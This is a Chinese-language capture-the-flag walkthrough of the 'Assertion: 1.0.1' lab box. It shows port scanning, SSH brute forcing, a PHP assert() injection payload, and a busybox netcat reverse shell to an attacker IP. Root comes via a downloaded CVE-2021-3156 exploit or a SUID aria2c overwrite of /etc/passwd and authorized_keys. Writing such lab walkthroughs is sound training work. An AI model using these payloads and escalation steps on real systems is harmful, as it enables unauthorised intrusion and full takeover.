Assertion: 1.0.1 Walkthrough

Box Info

官网在这里:Assertion: 1.0.1

image-20250324142845574

The Hack

进行端口发现

sudo nmap -p- 172.16.33.99

发现 22、80 端口

image-20250324143056755

对开放的端口做应用版本发现

sudo nmap -p 22,80 -A -T4 172.16.33.99

发现 SSH 和 Apache 服务版本较高,漏洞较少且利用复杂,暂不考虑

image-20250324143630111

先来看 22 端口,尝试直接连接以及弱口令能不能泄露机密信息

ssh root@172.16.33.99 

很遗憾,失败了,什么也没泄露

image-20250324143811794

试试 SSH 爆破 root 密码

hydra -e nsr -l root -P /usr/share/wordlists/rockyou.txt ssh://172.16.33.99

没爆破出来

好吧,看来 22 端口暂时无从下手了,再来看看 80 端口

进行下 WEB 目录扫描

dirsearch -u http://172.16.33.99  
dirsearch -u http://172.16.33.99/ -w /usr/share/wordlists/dirb/big.txt
dirsearch -u http://172.16.33.99/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
dirsearch -u http://172.16.33.99/ -w /usr/share/seclists/Discovery/Web-Content/big.txt

说实话,后面几个加了字典的还没不加字典的第一个扫出来的多

image-20250324144159467

访问页面,你会发现他的超链接做的挺乱的,就以 about 那个页面来说,网站上有三种通向该页面的超链接,但也只有前两种有用

http://172.16.33.99/index.php?page=about
http://172.16.33.99/about.php
http://172.16.33.99/about.html

探寻页面一会后,你会发现,home 、about us、schedule、gallery、blog、contains 这几个页面站内所有链接的 action 都是 # ,说明是无用链接

image-20250324144732104

再来看看 /pages 目录,发现刚好与网页各个展示内容对应

image-20250324145849180

结合 http://172.16.33.99/index.php?page=about ,可以大胆猜测一下,是否存在文件包含?

尝试包含 /etc/passwd 文件

http://172.16.33.99/index.php?page=../../../../../../../etc/passwd

噢?看来是对关键词做了过滤

image-20250324150045976

生成长度为一的关键词字典

crunch 1 1 -f /usr/share/crunch/charset.lst symbols-all > s.txt 

测试一下有哪些关键词被过滤

ffuf -w s.txt:VAL -u http://172.16.33.99/index.php?page=VAL -fr "File does not exist"

嗯?还有意外之喜,单引号既然会引起服务端错误,要么是 SQL 注入,要么是命令注入

这里显然不是 SQL 注入,因为响应的页面为空,执行 ' or 1=1 # 的响应也为空

image-20250324151407818

那么就是关于 PHP 内容的命令注入,我们可以将核心代码看成

assert("strpos('$page','.')===false") or die("Not so easy brother!");

输入的单引号会破坏原语句的结构,导致响应 500

尝试插入

'and die(system("id")) or '

语句就变成了

assert("strpos(''and die(system("id")) or '','.')===false") or die("Not so easy brother!");

就可以执行命令

image-20250324152258829

能执行命令就简单了,直接使用 busybox 反弹 shell

'and die(system("busybox nc 10.8.0.90 1234 -e /bin/bash")) or '

成功

image-20250324152503892

接下来是提权,查看 sudo 版本

sudo -V

1.8.21 处在 1.8.2 ~ 1.8.31p2 直接,可以使用 CVE-2021-3156 提权

image-20250324152621815

切换到 /tmp 目录,将 exp 上传至目标主机,赋予可执行权限后执行

cd /tmp
wget http://10.8.0.90/exploit_nss.py -O exp.py
chmod +x exp.py
python exp.py

提权成功

image-20250324152956639

切换至 cd 目录,获得 flag

cd /root 
cat root.txt

image-20250324153219933

当然,也可以通过 aria2c 的 SUID 权限提权,该文件与 wget 相似,可以远程下载文件

image-20250324153523310

那么就将目标主机上的 /etc/passwd 文件拷贝到宿主机,将 root 密码更改为已知,再通过 aria2c 远程下载并覆盖原 /etc/passwd

由于具有 SUID 的文件运行时会获得 root 权限,所以可以允许修改 /etc/passwd

生成已知的密码哈希(123)

┌──(kali㉿kali)-[~]
└─$ openssl passwd -1 123
$1$/l/LdaOy$E0kBkOBauSctDWdECVk9r.

更改后的 passwd

image-20250324154812796

执行下载命令

aria2c -o "/etc/passwd" "http://10.8.0.90/passwd" --allow-overwrite=true

直接使用 su 提权

image-20250324160332053

也可以制作 SSH 公钥直接写入 root 账号根目录下,然后我在用我的私钥直接和目标主机服务端 SSH 建立连接

生成 ssh 公私钥

ssh-keygen -t rsa

image-20250324161554295

直接一路回车就行,生成的公私钥在 .ssh 目录

image-20250324160802504

将公钥上传至 root 账号根目录

aria2c -d /root/.ssh/ -o authorized_keys "http://10.8.0.90/id_rsa.pub" --allow-overwrite=true

image-20250324161339594

再宿主机 .ssh 目录使用 SSH 远程登陆

┌──(kali㉿kali)-[~/.ssh]
└─$ ssh root@172.16.33.99

成功

image-20250324161449534